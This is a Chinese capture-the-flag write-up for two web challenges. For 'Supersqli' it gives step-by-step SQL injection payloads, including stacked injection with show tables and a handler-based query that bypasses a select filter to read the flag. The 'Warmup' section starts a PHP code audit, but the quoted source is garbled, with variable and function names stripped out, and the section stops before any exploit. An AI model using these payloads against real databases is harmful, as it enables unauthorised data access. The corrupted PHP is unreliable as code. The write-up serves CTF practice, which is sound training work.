一:Supersqli
打开页面,初步筛查这应该是一道 SQL 注入题。
[图片]
这确实是一道 SQL 注入。
1' or 1=1 #
[图片]
接下来查询字段数。
字段数为 2。
1' order by 2 #
[图片]
查询数据库。正常的查询发现不行,被过滤了。
[图片]
但是没有过滤分号,那就可以堆叠注入联合 show。
1';show tables ;#
成功查询到一个特殊的表。
[图片]
1';show columns from `1919810931114514`;#
查询发现此表含 flag,但 select 被过滤,如何查询 flag?
[图片]
利用 handler 代替 select 查询。
Payload:
1';handler `1919810931114514` open as `a`;handler `a` read next;#
查询该表的数据,成功拿到 flag。
[图片]
二:Warmup
点开发现有提示 source.php。
[图片]
访问 source.php 和 hint.php,是一堆代码,进行代码审计。
[图片]
访问 hint.php 提示我们 flag 在 ffffllllaaaagggg。
[图片]
代码审计:
<?php highlight_file(__FILE__); //代码高亮
class emmm {
public static function checkFile(&$page) // 用于检查文件参数是否合法
{
= [=>,=>];
(! () || !()) {
;
;
}
((, )) {
;
}
= (, , ( . , ));
((, )) {
;
}
= ();
= (, , ( . , ));
((, )) {
;
}
;
;
}
}
(! ([]) && ([]) && emmm::([])) {
[];
;
} {
;
}


